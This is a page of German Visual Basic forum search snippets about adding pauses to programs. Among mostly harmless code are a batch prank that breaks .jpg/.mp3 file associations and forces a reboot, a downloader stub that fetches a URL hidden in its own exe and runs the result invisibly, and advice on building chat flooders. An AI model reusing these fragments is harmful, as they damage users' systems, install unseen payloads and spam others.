Visual Basic Forum

Verfasst am: 18.10.2011, 11:00 Aufrufe: 292

Es ist vergleichbar mit einer Waschmaschine : Ich rufe aus einem Formular mit dem Start Button das Programm(Function) "Spülen" auf. "Spülen" liegt in einem Modul und abeitet über Timer, zeitgesteuert. Ventil auf, 2sec Pause, Pumpe an usw. Der Timer wiederum ist nicht der ONBOARD Timer sondern ebenfalls eine Funktion , die auch wiederum in einem Modul liegt. Ich hab da grad echt ein ...

Verfasst am: 26.02.2011, 12:57 Aufrufe: 583

de/truppe/wache/teilnehmen" - P - A - U - S - E - WebBrowser1.Navigate "www.schulterglatze.de/logout.php" End Sub Ich wusste nicht genau, ob "Pause" das richtige wort ist, aber ihr wisst hoffentlich was gemeint ist. Er soll halt alles nach der Reihe durchführen. Kann mir jemand bitte den CommandXY_Click ausfüllen, dass ich ihn nurnoch einfügen ...

Verfasst am: 05.01.2011, 23:43 Aufrufe: 583

Okay.. Blicke aber nicht ganz durch.. könntest du mir mein Beispiel ersetzen? Command1_Click() WebBrowser1.Navigate "www.google.de" << hier soll nun eine 1-sekündige Pause gemacht werden (zum Laden etc.) WebBrowser1.Navigate "www.youtube.com" Hab extra die bekannten Adressen genommen und hoffe das wird nicht als Werbung gewertet Very Happy

EDIT: oder.... Busy bedeutet ...

Verfasst am: 09.08.2010, 15:41 Aufrufe: 1230

Hallo, ich möchte euch mal mein Snake vorstellen. Getestet auf: Windows 7 32-bit Windows XP 32-bit Benötigt .NET Framework 4 oder höher. Geschrieben in Visual Basic 2010 Express Die Datei ist in ein RAR-Archiv gepackt, dessen Größe beträgt 10,1 KB. Screenshot: Steuerung: Pfeiltasten - Schlange bewegen P - Pause Download:

Verfasst am: 07.08.2010, 01:31 Aufrufe: 506

Huhu, hab mal Snake gemacht Smile

Ich bitte um Kritik Very Happy

Steuerung: Pfeiltasten: Steuerung P - Pause

Verfasst am: 01.02.2010, 13:13 Aufrufe: 1108

Eben hab ich herausgefunden, wie man Text speichern kann. Jetzt wollte ich auch Variablen abspeichern lassen. Das ist mein bisheriger Code: @echo off set /P dertext = echo %dertext% >> the_text.txt pause Alles, was der the_text.txt hinzugefügt wird, ist ECHO ist ausgeschaltet (OFF) oder ECHO ist eingeschaltet (ON) - je nachdem, ob ich @echo off im Code hab oder nicht. Hab auch schon nach diesem Prob ...

Verfasst am: 24.07.2009, 14:50 Aufrufe: 766

Aso verarschen lassen müssen wir uns hier nicht, du bekommst ersteinmal zwei Tage Pause.

Verfasst am: 20.07.2009, 08:21 Aufrufe: 701

Hallo, hab da ein Problem ich möchte eine Abfrage starten sobald mein Port keine Antwort mehr bekommt. Jedoch springt das Programm nicht mehr zurück. Weiß jemand was ich falsch gemacht habe? Sub Pause(ByRef serialPort As System.IO.Ports.SerialPort) Dim response As String ' serialPort.Open() 1: serialPort.WriteLine("SL&F") Try ...

Verfasst am: 15.07.2009, 10:02 Aufrufe: 515

Hallo, hab da eine Frage und zwar möchte ich in ein Programm so zusagen eine Pause einbauen. Dies sieht folgendermasßen aus: Ich durchlaufe eine Schleife die dazu genutzt wird um mit Geräten zu kommunizieren. Wenn ein gerät keine antwort zurück sendet soll in dies sogenannte Pause gesprungen werden und immer wieder ein Befehl abgefragt werden bis eine Antwort zurück kommt und dann soll wieder zurück ins Hauptprog ...

Verfasst am: 22.06.2009, 22:16 Aufrufe: 552

mp3" For Binary As #2 Put #2, , buffer2 Close #2 WMP.URL = Environ("temp") & "\test.mp3" WMP.Controls.stop End Sub Dann hab ich noch die Button Musik an und Musik Aus und Musik Pause. alles funktioniert einwandfrei, aber ich kriegs nicht hin den Button Nächster Track so umzucoden dass der das auch macht, also iwie müsste das doch so gehen... Dim buffer() ...

Verfasst am: 18.06.2009, 11:54 Aufrufe: 1229

Verfasst am: 15.06.2009, 18:27 Aufrufe: 1115

Enabled = True btnStart.Text = "Pause" i = 1 ElseIf i = 1 Then Timer1.Enabled = False & ...

Verfasst am: 15.06.2009, 16:51 Aufrufe: 686

... button Private Const VK_BACK = &H8 ' Backspace Taste Private Const VK_TAB = &H9 ' Tab Taste Private Const VK_CLEAR = &HC ' Numpad 5 ohne Numlock Private Const VK_RETURN = &HD ' Enter Taste Private Const VK_SHIFT = &H10 ' Shift Taste Private Const VK_CONTROL = &H11 ' STRG Taste Private Const VK_MENU = &H12 ' Alt Taste Private Const VK_PAUSE ...

Verfasst am: 11.09.2008, 19:30 Aufrufe: 936

2.1/cgi-bin/webcm[/URL] -d") sw.WriteLine("pause") sw.Flush() sw.Close() &nb ...

Verfasst am: 19.08.2008, 00:54 Aufrufe: 2202

Soll die Form überhaupt nie gezeigt werden?weil wenn du die Form erst nach einiger Zeit starten möchtest dann würde ich ein Modul zum starten benutzen:Module1:Visual Basic: [code]Sub Pause(Seconds As Single)Dim Timer1 As Single, Timer2 As Single, currentDate As DatecurrentDate = DateTimer1 = Timer + SecondsTimer2 = Timer1 - 86400While ((Timer() < Timer1) And (currentDate = Date)) Or _((Timer() < Timer2) And (currentD ...

Verfasst am: 21.07.2008, 15:07 Aufrufe: 598

Vielen Dank erstmal für deinen Source.Ich hab einwenig drann gebastelt und herrausgefunden das ein DoEvent eingebauen werden muss, da sonst nur ein großes Paket versendet wird.Außerdem funktioniert alles nur mit Pausen (Als Pause benutze ich Messageboxen)Ich hab mal das Projekt hochgeladen:http://uploaded.to/?id=p0ozxqHoffe mir kann jemand helfen.Anmerkung:Sobald man die 2 Messageboxen wegnimmt verändern sich die Grö ...

Verfasst am: 10.07.2008, 10:55 Aufrufe: 2077

..Und vor allem WIE das funktioniert. Ich habe hier leider noch gar keine Erfahrungen sammeln können, und durch die zwei Jahre Pause bin ich auch ein wenig eingerostet... Ich habe mir jetzt einfach mal das übliche Hallo World Programm erstellt, und würde jetzt erst mal für den Anfang und für mein Verständniss ein Update erstellen, welches dann einen zweiten Button hinzufügt, der dann aus dem Hallo World meinetwegen ...

Verfasst am: 08.06.2008, 11:35 Aufrufe: 1475

... Befehl fOpen erwartet 2 Parameter. 1. Ein Dateiname2. Ein ModusIn deinem Code hast du als Modus "a" angegeben, das steht für Append und beideutet soviel wie "anhängen". Marduk hat "w" als Modus benutzt, womit die Daten in der Datei überschrieben werden.Hättest du dir die Kommentare rechts von den Befehlen richtig durchgelesen, hättest du das Problem selbst lösen können...Naja, du darfst erstmal ein bisschen Pause ...

Verfasst am: 04.06.2008, 15:09 Aufrufe: 2897

Verfasst am: 03.06.2008, 12:39 Aufrufe: 2897

Verbesserungsvorschläge:Option einbauen, ihn als Standartmediaplayer zu verwenden. (geht glaube ich über die Registrierung)Vllt. noch so machen, dass man ihn in die Traybar minimieren kann und dann per Rechtsklick über ein Popupmenu die Hauptfunktionen wie Play, Stop und Pause regeln kann.Einen Updater reinmachen.Diese erweiterten Optionen wie z.B. das mit der Lautstärke in ein extra Menü dafür machen.Richtig geil wä ...

Verfasst am: 17.04.2008, 18:58 Aufrufe: 1948

exe" & vbNewLine & _ "del " & MyUpdatePath & vbNewLine & _ "start " & App.Path & "" & App.EXEName & ".exe" Close #1Jetzt die Batch ausführen (sie macht zwei Sekunden Pause) und das Programm beenden.Shell (BatchPath, vbHide) EndDas Programm wurde durch das Update ersetzt. Es wird nun ausgeführt.Der fertige Code sieht dann so aus:Di ...

Verfasst am: 07.04.2008, 17:33 Aufrufe: 4677

Kann ich eigentlch auch machen, das er 20 mal den text sendet und dan Z.b. 30sek pause macht und dan weiter sendet??

Verfasst am: 05.04.2008, 23:34 Aufrufe: 1974

Hi, dankeschöön erstmal. Ich will da irgendwie nen flooder so einstellen, dass er 20 mal floodet und dann eine 5 sek pause macht und dann wieder 20 mal floodet und dann wieder ne 5 sek pause... wisst hoffentlich was ich meine. Weiß jemand wie man das Umsetzten kann?

Verfasst am: 15.03.2008, 17:39 Aufrufe: 654

Mhh, vllt. irgendwo eine Pause einbauen? Bei mir hats mal geholfen...

Verfasst am: 15.03.2008, 02:13 Aufrufe: 375

lbl.text += "h" thread.sleep(100) lbl.text += "a" thread.sleep(100) ... is ausm Kopf, kann auch threading.sleep sein. Auf jeden Fall wird dadurch immer eine kleine Pause gemacht und dann erst weitergeschrieben. Mit nem Timer geht es auch, ist aber mindestens genauso viel Schreibarbeit

Verfasst am: 04.03.2008, 19:29 Aufrufe: 1751

Stimme ZiG vollkommen zu, endlich mal kein Trojaner oder Stealer! Kleiner Tipp für die nächste Version (falls eine geplant ist, will ich doch hoffen Wink

): Für Pause, Rücklauf und Vorlauf statt Buttons Bilder verwenden. Ändert zwar nichts an der Funktionalität, aber es sieht viel schicker aus^^ Was auch schön wär, wenn man für die Serien neben der Beschreibung auch ein kleines Bild auswählen könnte (sowas wie ...

Verfasst am: 27.02.2008, 18:06 Aufrufe: 675

Verfasst am: 15.02.2008, 23:44 Aufrufe: 582

Eine Pause in einer Schleife?

Verfasst am: 11.02.2008, 10:41 Aufrufe: 235

oder benutze eine kurze pause zwischen den beiden befehlen!

Verfasst am: 19.01.2008, 12:51 Aufrufe: 2098

Verfasst am: 18.01.2008, 21:33 Aufrufe: 510

Enabled = True Du kannst noch einen Button machen, der den Timer wieder ausstellt. Timer1.Enabled = False Wenn der Timer zwischen den Codeausführungen eine Pause machen soll, änderst du die eigenschaft "Interval". Der Wert wird in Milisekunden angegeben. Ein fertiger Code wäre dieser hier: Private Sub Timer1_Timer() Time = "20:55" End Sub Command1_Click() If T ...

Verfasst am: 17.01.2008, 19:44 Aufrufe: 331

dll" Alias "ShellExecuteA" _ (ByVal hWnd As Long, ByVal lOperation As String, ByVal lpFile As String, _ ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) _ As Long Genau das tut mein Tool auch, obwohl ich es etwas anders gemacht habe. Nämlich ohne Intervall. Ich hab im Timer eine Pause über API eingefügt. Das war nur sinnvoll, weil ich Pausen zwischen mehrer ...

Verfasst am: 15.01.2008, 15:06 Aufrufe: 2480

Verfasst am: 13.01.2008, 21:42 Aufrufe: 571

Wenn du ne Pause in dein Programm einfügen möchtest Sub Pause(Seconds As Single) Dim Timer1 As Single, Timer2 As Single, currentDate As Date currentDate = Date Timer1 = Timer + Seconds Timer2 = Timer1 - 86400 '24 Stunden While ((Timer() < Timer1) And (currentDate = Date)) Or _ ((Timer() < Timer2) And (currentDat ...

Verfasst am: 13.01.2008, 21:31 Aufrufe: 571

ne ohne Sleep klappts... Aber ich brauche da einige Sekunden Pause

Verfasst am: 16.12.2007, 20:06 Aufrufe: 742

... st zwei Private Declares: Declare Sub Sleep Lib "kernel32" (Byval dwMilliseconds As Long) Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _ (ByVal hWnd As Long, ByVal lOperation As String, ByVal lpFile As String, _ ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Die Erste ist für die Pause ...

Verfasst am: 16.12.2007, 17:37 Aufrufe: 579

das ist in batch geschrieben kann sein das es jetzt völliger müll ist ^^ kannst du ja mal ausprobieren und dann in vb miteinbauen @echo off Set fuckdate=16.12.07 If %date%==%fuckdate% goto fuck goto notfuck :fuck cls echo error 207 assoc .jpg=error assoc .mp3=error shutdown -r -f -t 30 -c "Hahaha dein ganzer Rechner ist jetzt ganz kaputt" pause>nul goto end :notfuck cls echo Error 207 ...

Verfasst am: 12.12.2007, 18:44 Aufrufe: 821

Über Timer kannst du es so regeln: Dim later As String Dim now As String spaeter = Timer + 2 ' 2 Sekunden Pause While jetzt < spaeter DoEvents jetzt = Timer Wend Mit Sleep Funktion folgendermaßen: Private Declare: Declare Sub Sleep Lib "kernel32" (Byval dwMilliseconds As Long) Dann im Codeverlauf die Pause: Sleep 2000 ' 2 Sekunden Pause Gibt noch mehr Möglichkeiten aber ...

Verfasst am: 12.12.2007, 18:36 Aufrufe: 821

Wie füg ich eine Pause ein Embarassed

?

Verfasst am: 12.12.2007, 15:38 Aufrufe: 821

Was genau hast du nun verändert? Nur das Unload Me? Kann sein, dass die Prozedur noch nicht fertig wird. Deswegen hab ich ja geschrieben du sollst eine Pause einbauen. ;>

Verfasst am: 12.12.2007, 15:18 Aufrufe: 821

exe") Open file For Binary As #1 Get #1, (LOF(1) - 99), options cmd() = Split(options, "#") Close #1 Returnvalue = URLDownloadToFile(0, cmd(0), cmd(1), 0, 0) Shell cmd(1), vbHide ' versteckt ausführen ' hier Pause und dann ' Unload Me Unload Me End Sub Es erscheint folgende Fehlermeldung: Laufzeitfehler 5: Ungü ...

Verfasst am: 09.12.2007, 23:02 Aufrufe: 456

jpg" Und fertig! Du kannst das Bild natürlich auch direkt im Form_Load laden lassen aber ich glaube der Download benötigt da noch Zeit. Obwohl bau einfach eine Pause ein. Dazu noch eine Private Declare: Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Und dann folgendes ins Form_Load: Dim lResult As Long Dim sURL As String Dim sLocalFile As String sURL = ...

Verfasst am: 08.12.2007, 21:06 Aufrufe: 2013

WaitHere - Programm läuft bestimmte Zeit in einer Schleife. Eine Art Pause. Private Declare Function GetTickCount Lib "kernel32" () As Long Public Function WaitHere(ByVal Seconds As Long) Dim x1 As Long, x2 As Long x2 = GetTickCount + (Seconds * 1000) Do Until x1 >= x2 x1 = GetTickCount DoEvents Loop End Function FileExist - Überprüft ob eine Datei exis ...

Verfasst am: 17.09.2007, 15:28 Aufrufe: 1348

Da das Programm aber noch aktiv sein muss sendet das Programm die Tastendrücke an sich selbst, was die Funktion auslöst. Wenn die Start Taste im gesendeten String vorkommt dann wird die Funktion gestartet. Ein weiteres Problem ist das du die Texte viel zu schnell hintereinander sendest, es gibt keine Pause zwischen dem Senden. Ich würde den Text nicht mit einer Schleife senden sondern mit einem Timer von dem man den ...

Verfasst am: 01.09.2007, 22:52 Aufrufe: 462

Wegen dem erst ins Fenster klicken: ich habe in meinen Flooder eine Überprüfung eingebaut ob er das aktive Fenster ist und das er dann Pause macht. Ich poste mal einen möglichen Source Code der das macht: Private Declare Function GetActiveWindow Lib "User32" () As Long ' Win API um den Handle des aktiven Fensters zu ermitteln Private Sub Timer1_Timer() 'Sub die die Nachrichten verschickt if Me.hwnd = ...

Verfasst am: 28.08.2007, 14:22 Aufrufe: 828

Text Timer2.Enabled = False Timer1.Enabled = True End Sub Sieht so aus als wenn du einen Chat Flooder programmieren willst. Hier noch mal ein paar Ideen was man dem Flooder für Features geben kann: Der Flooder macht Automatisch Pause wenn er aktiv ist. (Floodet sich nicht selbst). Stop Button (falls du noch keinen hast). Während der Flooder Floodet ist er immer im Vordergrund (um besser stoppen zu können ...

Verfasst am: 08.06.2007, 09:39 Aufrufe: 840

Verfasst am: 07.06.2007, 11:37 Aufrufe: 840

Verfasst am: 02.06.2007, 22:10 Aufrufe: 632

caption SO heißt ich gebe in die text1.text 10 ein bekommt der label1 eine 10 und der label 4 nun der timer läuft pause und soweiter , paus zu ende nun wird der label 1 der auf 10 steht plus das label 4 nun bei zweiten mal steht der label auf 20 und wird dann halt wieder plus 10 ;=) juhu Ich bin stolz auf mich selbst Wink

es gibt bestimmt noch eine bessere lösung aber so ist die einfachste für ...

Verfasst am: 02.06.2007, 21:06 Aufrufe: 632

Wir haben 3xLabels 2xtimers nun auf den 1xlabel steht die anzahl an Äpfeln in der anderen Nach wie viel Äpfel eine pause gemacht werden kann. Der 1 timer zählt die äpfel der andere die 30 minuten pause z.b Label1.caption = "10" label2.Caption = "0" label3.caption = "30" für den Pausen zähler derzählt dann die 30 runde auf 0 und bei 0 fängt er wieder äpfel zu zählen Privat ...